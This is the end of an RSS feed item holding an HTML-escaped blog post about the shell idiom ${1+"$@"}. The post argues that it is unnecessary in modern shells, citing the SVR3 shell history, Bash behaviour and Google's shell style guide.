&lt;li&gt;This behavior is fixed as of 1986 in SVR3 shell (I guess).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Bourne_shell"&gt;Bourne shell - Wikipedia&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Features introduced after 1979&lt;br&gt;
...&lt;br&gt;
Modern "$@" – SVR3 shell (1986)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Almost all the Bash versions does not has this issue as far as I know.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Actually, &lt;a href="https://google.github.io/styleguide/shell.xml"&gt;Shell Coding Style guide provided by Google&lt;/a&gt; at 2013 recommends to use &lt;code&gt;main "$@"&lt;/code&gt; (&lt;a href="https://google.github.io/styleguide/shell.xml?showone=main#main"&gt;link&lt;/a&gt;).&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Off course, there is no technical concern about use of &lt;code&gt;${1+"$@"}&lt;/code&gt;.&lt;br&gt;
On the other hand, I think it is not worth paying attention and large cost to adopt this expression.&lt;/p&gt;

</description>
      <category>linux</category>
      <category>bash</category>
      <category>shell</category>
    </item>
  </channel>
</rss>
